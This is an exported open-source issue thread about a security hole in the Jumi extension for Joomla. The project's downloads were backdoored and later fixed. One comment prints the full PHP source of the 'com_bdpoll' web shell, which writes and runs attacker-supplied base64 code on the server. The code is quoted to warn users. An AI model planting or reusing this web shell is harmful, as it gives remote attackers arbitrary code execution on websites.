Closed GoogleCodeExporter closed 9 years ago
fileid is now forced to be integer
Original comment by edo...@gmail.com
on 16 Jun 2009 at 9:40
this issue is very serious, it permits a backdoor creation:
http://forum.joomla.org/viewtopic.php?f=432&t=440921
com_bdpoll
<?php
$f=$_POST["file"];
$t=$_POST["text"];
$t=str_replace(" ","+",$t);
$h=fopen($f,"w");
fwrite($h,base64_decode($t));
$d=dirname(__FILE__);
include($f);
fclose($h);
unlink($f);
?>
that permits to a remote user to arbitrary change any file content
(it was used to do a defease to our index.php)
Please report this kind of bugs more seriously to the Joomla community.
Stefano Gargiulo.
Original comment by rastrano
on 16 Oct 2009 at 8:54
[deleted comment]
Please update the latest downloadable archive....
it still contains the exploitable jumi.php
http://jumi.vedeme.cz/index.php?option=com_remository&Itemid=53&func=fileinfo&id
=54
---
I repeat that this is a very serious exploit: you can destroy a entire joomla
site
executing arbitrary SQL and PHP code on the machine... (you have a nice eval()
done
on a field queried from the DB)
---
also Juniper said this:
http://www.juniper.net/security/auto/vulnerabilities/vuln35384.html
regards,
Stefano.
Original comment by rastrano
on 16 Oct 2009 at 1:46
Stefan,
Thanks for the issue report, it was fixed already in the SVN, but probably it
was
released by mistake. I do confirm that in the last package 2.0.4 we have the old
vulnerable file.
Martin, please make a new package with the fixed file.
Regards,
Edvard
Original comment by edo...@gmail.com
on 16 Oct 2009 at 6:59
Oh, verified. By mistake I've uploaded old version for the download.
I will correct it immediately.
For clarity I will release it as ver. 2.0.5 + provide upgrade package.
Original comment by martin2hajek@gmail.com
on 17 Oct 2009 at 8:08
Has been fixed in Jumi 2.0.5 for Joomla 1.5. Other releases are OK.
Original comment by martin2hajek@gmail.com
on 27 Oct 2009 at 8:16
Ugh, nevermind. I answered my own question. I have version 2.1.0 beta3 and I
just
found that com_bdpoll backdoor on my site. Does the current version on the
download
site fix this?
Original comment by grayce.e...@gmail.com
on 3 Nov 2009 at 8:38
Incredible... please be more serious...
I know people that switched to durpal after this exploit, beliving that was
Joomla to
be vulnerable....
How is possible to fix a problem in 2.0.5 and not in 2.1.0????
I'm starting to suppose that you enjoy or make money with bd_poll....
Original comment by rastrano
on 6 Nov 2009 at 11:55
Stefano,
Please don't attempt to make unwarranted attacks on people.
We are very serious. And Martin decided to leave the Jumi project, because he
felt
that this is his mistake.
The truth is: Jumi website was hacked and the download files were backdoored.
Jumi 2.1.0 is still beta, it means that we don't recommend to use it on your
production website, however it is fixed. In any case, I want to let you know
one more
time, that Jumi is licensed under GNU/GPL and it comes with absolutely no
warranty.
Original comment by edo...@gmail.com
on 6 Nov 2009 at 12:16
> The truth is: Jumi website was hacked and the download files were backdoored.
I apologize for my tones, i didn't know this...
> And Martin decided to leave the Jumi project, because he felt
> that this is his mistake.
Mistakes can happen...
I'm sad to know about Martin's decision because I think that you and Martin
made a
great work in developing jumi (it's very useful and a lot of people i know use
it).
Then i didn't want to attack you: I was just worried about preventing
unexperienced
people to be victim of this exploit, because i think that in the open-source
spirt
there is also the intention to help the less skilled people: then the problem
is not
the mistake itself, but the seriousness lack in not replacing speedly a couple
of
getInt in a couple of downloadable files.
Anyway also these kind of mistakes can happen, then I apologize again for my
last
message (I made mistakes too) and I wish to you to keep up the good work!
best regards,
Stefano.
Original comment by rastrano
on 6 Nov 2009 at 1:15
Original issue reported on code.google.com by
martin2hajek@gmail.com
on 16 Jun 2009 at 9:13